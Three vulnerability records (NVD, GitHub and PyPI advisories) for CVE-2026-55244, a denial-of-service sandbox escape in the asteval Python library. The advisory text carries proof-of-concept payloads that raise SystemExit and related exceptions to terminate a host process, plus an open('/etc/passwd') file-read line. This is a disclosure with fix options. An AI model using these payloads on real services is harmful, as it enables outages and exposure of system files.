{
  "affected": [
    {
      "affectedData": [
        {
          "product": "asteval",
          "vendor": "lmfit",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.0.9"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter\u0027s safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9."
    }
  ],
  "id": "CVE-2026-55244",
  "lastModified": "2026-09-16T17:17:21.253",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 5.0,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.3,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55244",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-16T16:17:25.234532Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-14T20:16:47.640",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lmfit/asteval/commit/9c625b3674f8d05f206708bb85afca17a87694a4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lmfit/asteval/commit/c49c99a67acb63eb7410231932250bd820380e45"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lmfit/asteval/pull/153"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lmfit/asteval/releases/tag/1.0.9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-89v8-rhwq-hf77"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-89v8-rhwq-hf77"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-248"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "asteval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T17:28:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAn attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`,\n`KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These\nexceptions are subclasses of `BaseException` but not `Exception`, so they bypass the\n`except Exception:` safety net in both `run()` and `eval()`. The exception propagates\nverbatim to the calling application, terminating the process or disrupting signal and\ncleanup handlers.\n\nThis is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and\nGHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in\nall versions including 1.0.6 and current HEAD.\n\n---\n\n## Affected Code\n\n**`asteval/astutils.py`, lines 89\u2013108** \u2014 `FROM_PY` exposes dangerous classes to sandbox users:\n\n```python\nFROM_PY = (\u0027ArithmeticError\u0027, \u0027AssertionError\u0027, \u0027AttributeError\u0027,\n           \u0027BaseException\u0027,          # \u2190 escapes except Exception:\n           \u0027BufferError\u0027, \u0027BytesWarning\u0027,\n           ...\n           \u0027GeneratorExit\u0027,          # \u2190 escapes except Exception:\n           ...\n           \u0027KeyboardInterrupt\u0027,      # \u2190 escapes except Exception:\n           ...\n           \u0027SystemExit\u0027,             # \u2190 escapes except Exception:\n           ...)\n```\n\n**`asteval/asteval.py`, line 322** \u2014 `run()` exception handler:\n\n```python\nexcept Exception:                    # \u2190 does NOT catch BaseException subclasses\n    if with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\n**`asteval/asteval.py`, line 370** \u2014 `eval()` exception handler:\n\n```python\nexcept Exception:                    # \u2190 same gap\n    if show_errors and not raise_errors:\n        ...\n```\n\n**`asteval/asteval.py`, line 264** \u2014 `raise_exception()` raises the class directly:\n\n```python\nraise exc(self.error_msg)            # \u2190 when exc=SystemExit, escapes both handlers above\n```\n\n---\n\n## Root Cause\n\nPython\u0027s exception hierarchy has two distinct branches under `BaseException`:\n\n```\nBaseException\n\u251c\u2500\u2500 SystemExit          \u2190 NOT caught by except Exception:\n\u251c\u2500\u2500 KeyboardInterrupt   \u2190 NOT caught by except Exception:\n\u251c\u2500\u2500 GeneratorExit       \u2190 NOT caught by except Exception:\n\u2514\u2500\u2500 Exception           \u2190 caught normally\n    \u251c\u2500\u2500 RuntimeError\n    \u251c\u2500\u2500 ValueError\n    \u2514\u2500\u2500 ...\n```\n\n`FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes\n`raise SystemExit(\"msg\")`, the `on_raise()` handler calls:\n\n```python\nself.raise_exception(None, exc=out.__class__, msg=msg, expr=\u0027\u0027)\n```\n\nwhich executes `raise SystemExit(msg)`. This propagates through both `except Exception:`\nguards unchecked and surfaces in the calling application.\n\n---\n\n## Proof of Concept\n\n```python\nfrom asteval import Interpreter\n\n# Variant 1: terminate the process\naeval = Interpreter()\ntry:\n    aeval.eval(\u0027raise SystemExit(\"terminated by sandbox user\")\u0027)\nexcept SystemExit as e:\n    print(f\"[CONFIRMED] SystemExit escaped: {e.code!r}\")\n\n# Variant 2: disrupt signal/finally handling\naeval = Interpreter()\ntry:\n    aeval.eval(\u0027raise KeyboardInterrupt(\"interrupt injected\")\u0027)\nexcept KeyboardInterrupt as e:\n    print(f\"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}\")\n\n# Variant 3: GeneratorExit\naeval = Interpreter()\ntry:\n    aeval.eval(\u0027raise GeneratorExit(\"gen escape\")\u0027)\nexcept GeneratorExit as e:\n    print(f\"[CONFIRMED] GeneratorExit escaped: {str(e)!r}\")\n\n# Variant 4: BaseException base class\naeval = Interpreter()\ntry:\n    aeval.eval(\u0027raise BaseException(\"base escape\")\u0027)\nexcept BaseException as e:\n    if not isinstance(e, Exception):\n        print(f\"[CONFIRMED] BaseException escaped: {str(e)!r}\")\n```\n\n**Output (tested on asteval 1.0.6, Python 3.11/3.12):**\n\n```\n[CONFIRMED] SystemExit escaped: \u0027terminated by sandbox user\u0027\n[CONFIRMED] KeyboardInterrupt escaped: \u0027interrupt injected\u0027\n[CONFIRMED] GeneratorExit escaped: \u0027gen escape\u0027\n[CONFIRMED] BaseException escaped: \u0027base escape\u0027\n```\n\n### Real-world server scenario\n\n```python\nfrom asteval import Interpreter\n\ndef handle_request(user_expression):\n    aeval = Interpreter()\n    return aeval.eval(user_expression)   # SystemExit propagates here\n\n# Attacker sends: raise SystemExit(1)\n# Application terminates. Top-level except Exception: handlers do not protect it.\ntry:\n    handle_request(\u0027raise SystemExit(1)\u0027)\nexcept Exception:\n    pass  # \u003c-- does NOT catch SystemExit; process exits\n```\n\n---\n\n## Impact\n\n| Variant | Impact |\n|---------|--------|\n| `SystemExit` | Process terminates; exit code and message attacker-controlled |\n| `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops |\n| `GeneratorExit` | Disrupts generator cleanup in calling code |\n| `BaseException` | Generic escape, same propagation |\n\nAny application that:\n- Accepts user-supplied expressions via `asteval`\n- Relies on `except Exception:` at the top level (standard practice)\n- Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement)\n\n...is vulnerable to attacker-triggered process termination (DoS).\n\nCVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N),\nno interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N),\nhigh availability impact \u2014 process termination (A:H).\n\n---\n\n## Additional Note: File Read Capability (Acknowledged Limitation)\n\nIndependently of this vulnerability, `asteval` exposes a read-only `open()` wrapper\n(`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the\ncalling process:\n\n```python\naeval.eval(\"open(\u0027/etc/passwd\u0027).read()\")   # returns /etc/passwd contents\n```\n\nThis is documented in `doc/motivation.rst` as a known design choice (\"If reading from disk\nmust be forbidden, you will want to overwrite the `open()` function from the symbol table\").\nIt is included here for completeness, not as a separate advisory claim.\n\n---\n\n## Recommended Fix\n\n**Option A \u2014 Remove dangerous classes from `FROM_PY` (minimal, preferred):**\n\n```python\n# asteval/astutils.py\n\nFROM_PY = (\u0027ArithmeticError\u0027, \u0027AssertionError\u0027, \u0027AttributeError\u0027,\n           # Remove: \u0027BaseException\u0027,\n           \u0027BufferError\u0027, \u0027BytesWarning\u0027,\n           \u0027DeprecationWarning\u0027, \u0027EOFError\u0027, \u0027EnvironmentError\u0027,\n           \u0027Exception\u0027, \u0027False\u0027, \u0027FloatingPointError\u0027,\n           # Remove: \u0027GeneratorExit\u0027,\n           \u0027IOError\u0027, \u0027ImportError\u0027, \u0027ImportWarning\u0027, \u0027IndentationError\u0027,\n           \u0027IndexError\u0027, \u0027KeyError\u0027,\n           # Remove: \u0027KeyboardInterrupt\u0027,\n           \u0027LookupError\u0027,\n           \u0027MemoryError\u0027, \u0027NameError\u0027, \u0027None\u0027,\n           \u0027NotImplementedError\u0027, \u0027OSError\u0027, \u0027OverflowError\u0027,\n           \u0027ReferenceError\u0027, \u0027RuntimeError\u0027, \u0027RuntimeWarning\u0027,\n           \u0027StopIteration\u0027, \u0027SyntaxError\u0027, \u0027SyntaxWarning\u0027, \u0027SystemError\u0027,\n           # Remove: \u0027SystemExit\u0027,\n           \u0027True\u0027, \u0027TypeError\u0027, ...)\n```\n\n**Option B \u2014 Block non-`Exception` raises in `on_raise()`:**\n\n```python\n# asteval/asteval.py\n\ndef on_raise(self, node):\n    excnode = node.exc\n    msgnode = node.cause\n    out = self.run(excnode)\n    # Prevent BaseException subclasses from escaping the sandbox\n    if not issubclass(out.__class__, Exception):\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"raising {out.__class__.__name__!r} is not permitted\")\n        return\n    msg = \u0027 \u0027.join(str(a) for a in out.args)\n    msg2 = self.run(msgnode)\n    if msg2 not in (None, \u0027None\u0027):\n        msg = f\"{msg}: {msg2}\"\n    self.raise_exception(None, exc=out.__class__, msg=msg, expr=\u0027\u0027)\n```\n\nNote: Option B also fixes a secondary bug on the same line \u2014 `\u0027 \u0027.join(out.args)` crashes\nwith `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer\ncode). The fix uses `str(a) for a in out.args`.\n\n**Option C \u2014 Catch `BaseException` in `run()` and `eval()` (broadest, requires care):**\n\n```python\nexcept BaseException as exc:\n    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):\n        # Re-raise as RuntimeError to contain within sandbox\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"{type(exc).__name__} raised in sandbox\")\n    elif with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\nOption A is the simplest and least likely to introduce regressions. Option B additionally\naddresses the `str.join` crash on integer args.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-06-09 | Vulnerability discovered during code review |\n| 2026-06-09 | Report submitted via GitHub Security Advisory |\n| TBD | Maintainer acknowledgment |\n| TBD + 90 days | Public disclosure deadline |\n\n---\n\n## Researcher\n\nIndependent security researcher. No bug bounty program exists for this project.\nCVE assignment requested via GitHub Security Advisory submission.\n\n---\n\n## References\n\n- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)\n- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)\n- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy\n- `asteval` documentation: https://lmfit.github.io/asteval/",
  "id": "GHSA-89v8-rhwq-hf77",
  "modified": "2026-08-20T17:28:52Z",
  "published": "2026-08-20T17:28:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-89v8-rhwq-hf77"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/pull/153"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/commit/a3e56e7f8ed567a4817684d94213b290359077b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lmfit/asteval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/releases/tag/1.0.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "asteval has a Sandbox Escape via BaseException Subclasses"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "asteval",
        "purl": "pkg:pypi/asteval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.9",
        "0.9.1",
        "0.9.10",
        "0.9.11",
        "0.9.12",
        "0.9.13",
        "0.9.14",
        "0.9.15",
        "0.9.16",
        "0.9.17",
        "0.9.18",
        "0.9.19",
        "0.9.2",
        "0.9.20",
        "0.9.21",
        "0.9.22",
        "0.9.23",
        "0.9.24",
        "0.9.25",
        "0.9.26",
        "0.9.27",
        "0.9.28",
        "0.9.29",
        "0.9.3",
        "0.9.30",
        "0.9.31",
        "0.9.32",
        "0.9.33",
        "0.9.4",
        "0.9.5",
        "0.9.6",
        "0.9.7",
        "0.9.8",
        "0.9.9",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
        "1.0.7",
        "1.0.8"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55244",
    "GHSA-89v8-rhwq-hf77"
  ],
  "details": "## Summary\n\nAn attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`,\n`KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These\nexceptions are subclasses of `BaseException` but not `Exception`, so they bypass the\n`except Exception:` safety net in both `run()` and `eval()`. The exception propagates\nverbatim to the calling application, terminating the process or disrupting signal and\ncleanup handlers.\n\nThis is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and\nGHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in\nall versions including 1.0.6 and current HEAD.\n\n---\n\n## Affected Code\n\n**`asteval/astutils.py`, lines 89\u2013108** \u2014 `FROM_PY` exposes dangerous classes to sandbox users:\n\n```python\nFROM_PY = (\u0027ArithmeticError\u0027, \u0027AssertionError\u0027, \u0027AttributeError\u0027,\n           \u0027BaseException\u0027,          # \u2190 escapes except Exception:\n           \u0027BufferError\u0027, \u0027BytesWarning\u0027,\n           ...\n           \u0027GeneratorExit\u0027,          # \u2190 escapes except Exception:\n           ...\n           \u0027KeyboardInterrupt\u0027,      # \u2190 escapes except Exception:\n           ...\n           \u0027SystemExit\u0027,             # \u2190 escapes except Exception:\n           ...)\n```\n\n**`asteval/asteval.py`, line 322** \u2014 `run()` exception handler:\n\n```python\nexcept Exception:                    # \u2190 does NOT catch BaseException subclasses\n    if with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\n**`asteval/asteval.py`, line 370** \u2014 `eval()` exception handler:\n\n```python\nexcept Exception:                    # \u2190 same gap\n    if show_errors and not raise_errors:\n        ...\n```\n\n**`asteval/asteval.py`, line 264** \u2014 `raise_exception()` raises the class directly:\n\n```python\nraise exc(self.error_msg)            # \u2190 when exc=SystemExit, escapes both handlers above\n```\n\n---\n\n## Root Cause\n\nPython\u0027s exception hierarchy has two distinct branches under `BaseException`:\n\n```\nBaseException\n\u251c\u2500\u2500 SystemExit          \u2190 NOT caught by except Exception:\n\u251c\u2500\u2500 KeyboardInterrupt   \u2190 NOT caught by except Exception:\n\u251c\u2500\u2500 GeneratorExit       \u2190 NOT caught by except Exception:\n\u2514\u2500\u2500 Exception           \u2190 caught normally\n    \u251c\u2500\u2500 RuntimeError\n    \u251c\u2500\u2500 ValueError\n    \u2514\u2500\u2500 ...\n```\n\n`FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes\n`raise SystemExit(\"msg\")`, the `on_raise()` handler calls:\n\n```python\nself.raise_exception(None, exc=out.__class__, msg=msg, expr=\u0027\u0027)\n```\n\nwhich executes `raise SystemExit(msg)`. This propagates through both `except Exception:`\nguards unchecked and surfaces in the calling application.\n\n---\n\n## Proof of Concept\n\n```python\nfrom asteval import Interpreter\n\n# Variant 1: terminate the process\naeval = Interpreter()\ntry:\n    aeval.eval(\u0027raise SystemExit(\"terminated by sandbox user\")\u0027)\nexcept SystemExit as e:\n    print(f\"[CONFIRMED] SystemExit escaped: {e.code!r}\")\n\n# Variant 2: disrupt signal/finally handling\naeval = Interpreter()\ntry:\n    aeval.eval(\u0027raise KeyboardInterrupt(\"interrupt injected\")\u0027)\nexcept KeyboardInterrupt as e:\n    print(f\"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}\")\n\n# Variant 3: GeneratorExit\naeval = Interpreter()\ntry:\n    aeval.eval(\u0027raise GeneratorExit(\"gen escape\")\u0027)\nexcept GeneratorExit as e:\n    print(f\"[CONFIRMED] GeneratorExit escaped: {str(e)!r}\")\n\n# Variant 4: BaseException base class\naeval = Interpreter()\ntry:\n    aeval.eval(\u0027raise BaseException(\"base escape\")\u0027)\nexcept BaseException as e:\n    if not isinstance(e, Exception):\n        print(f\"[CONFIRMED] BaseException escaped: {str(e)!r}\")\n```\n\n**Output (tested on asteval 1.0.6, Python 3.11/3.12):**\n\n```\n[CONFIRMED] SystemExit escaped: \u0027terminated by sandbox user\u0027\n[CONFIRMED] KeyboardInterrupt escaped: \u0027interrupt injected\u0027\n[CONFIRMED] GeneratorExit escaped: \u0027gen escape\u0027\n[CONFIRMED] BaseException escaped: \u0027base escape\u0027\n```\n\n### Real-world server scenario\n\n```python\nfrom asteval import Interpreter\n\ndef handle_request(user_expression):\n    aeval = Interpreter()\n    return aeval.eval(user_expression)   # SystemExit propagates here\n\n# Attacker sends: raise SystemExit(1)\n# Application terminates. Top-level except Exception: handlers do not protect it.\ntry:\n    handle_request(\u0027raise SystemExit(1)\u0027)\nexcept Exception:\n    pass  # \u003c-- does NOT catch SystemExit; process exits\n```\n\n---\n\n## Impact\n\n| Variant | Impact |\n|---------|--------|\n| `SystemExit` | Process terminates; exit code and message attacker-controlled |\n| `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops |\n| `GeneratorExit` | Disrupts generator cleanup in calling code |\n| `BaseException` | Generic escape, same propagation |\n\nAny application that:\n- Accepts user-supplied expressions via `asteval`\n- Relies on `except Exception:` at the top level (standard practice)\n- Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement)\n\n...is vulnerable to attacker-triggered process termination (DoS).\n\nCVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N),\nno interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N),\nhigh availability impact \u2014 process termination (A:H).\n\n---\n\n## Additional Note: File Read Capability (Acknowledged Limitation)\n\nIndependently of this vulnerability, `asteval` exposes a read-only `open()` wrapper\n(`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the\ncalling process:\n\n```python\naeval.eval(\"open(\u0027/etc/passwd\u0027).read()\")   # returns /etc/passwd contents\n```\n\nThis is documented in `doc/motivation.rst` as a known design choice (\"If reading from disk\nmust be forbidden, you will want to overwrite the `open()` function from the symbol table\").\nIt is included here for completeness, not as a separate advisory claim.\n\n---\n\n## Recommended Fix\n\n**Option A \u2014 Remove dangerous classes from `FROM_PY` (minimal, preferred):**\n\n```python\n# asteval/astutils.py\n\nFROM_PY = (\u0027ArithmeticError\u0027, \u0027AssertionError\u0027, \u0027AttributeError\u0027,\n           # Remove: \u0027BaseException\u0027,\n           \u0027BufferError\u0027, \u0027BytesWarning\u0027,\n           \u0027DeprecationWarning\u0027, \u0027EOFError\u0027, \u0027EnvironmentError\u0027,\n           \u0027Exception\u0027, \u0027False\u0027, \u0027FloatingPointError\u0027,\n           # Remove: \u0027GeneratorExit\u0027,\n           \u0027IOError\u0027, \u0027ImportError\u0027, \u0027ImportWarning\u0027, \u0027IndentationError\u0027,\n           \u0027IndexError\u0027, \u0027KeyError\u0027,\n           # Remove: \u0027KeyboardInterrupt\u0027,\n           \u0027LookupError\u0027,\n           \u0027MemoryError\u0027, \u0027NameError\u0027, \u0027None\u0027,\n           \u0027NotImplementedError\u0027, \u0027OSError\u0027, \u0027OverflowError\u0027,\n           \u0027ReferenceError\u0027, \u0027RuntimeError\u0027, \u0027RuntimeWarning\u0027,\n           \u0027StopIteration\u0027, \u0027SyntaxError\u0027, \u0027SyntaxWarning\u0027, \u0027SystemError\u0027,\n           # Remove: \u0027SystemExit\u0027,\n           \u0027True\u0027, \u0027TypeError\u0027, ...)\n```\n\n**Option B \u2014 Block non-`Exception` raises in `on_raise()`:**\n\n```python\n# asteval/asteval.py\n\ndef on_raise(self, node):\n    excnode = node.exc\n    msgnode = node.cause\n    out = self.run(excnode)\n    # Prevent BaseException subclasses from escaping the sandbox\n    if not issubclass(out.__class__, Exception):\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"raising {out.__class__.__name__!r} is not permitted\")\n        return\n    msg = \u0027 \u0027.join(str(a) for a in out.args)\n    msg2 = self.run(msgnode)\n    if msg2 not in (None, \u0027None\u0027):\n        msg = f\"{msg}: {msg2}\"\n    self.raise_exception(None, exc=out.__class__, msg=msg, expr=\u0027\u0027)\n```\n\nNote: Option B also fixes a secondary bug on the same line \u2014 `\u0027 \u0027.join(out.args)` crashes\nwith `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer\ncode). The fix uses `str(a) for a in out.args`.\n\n**Option C \u2014 Catch `BaseException` in `run()` and `eval()` (broadest, requires care):**\n\n```python\nexcept BaseException as exc:\n    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):\n        # Re-raise as RuntimeError to contain within sandbox\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"{type(exc).__name__} raised in sandbox\")\n    elif with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\nOption A is the simplest and least likely to introduce regressions. Option B additionally\naddresses the `str.join` crash on integer args.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-06-09 | Vulnerability discovered during code review |\n| 2026-06-09 | Report submitted via GitHub Security Advisory |\n| TBD | Maintainer acknowledgment |\n| TBD + 90 days | Public disclosure deadline |\n\n---\n\n## Researcher\n\nIndependent security researcher. No bug bounty program exists for this project.\nCVE assignment requested via GitHub Security Advisory submission.\n\n---\n\n## References\n\n- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)\n- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)\n- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy\n- `asteval` documentation: https://lmfit.github.io/asteval/",
  "id": "PYSEC-2026-3807",
  "modified": "2026-09-10T11:01:58.147306Z",
  "published": "2026-09-10T09:44:52.019188Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-89v8-rhwq-hf77"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/pull/153"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/commit/a3e56e7f8ed567a4817684d94213b290359077b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lmfit/asteval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/releases/tag/1.0.9"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/asteval"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-89v8-rhwq-hf77"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55244"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "asteval has a Sandbox Escape via BaseException Subclasses"
}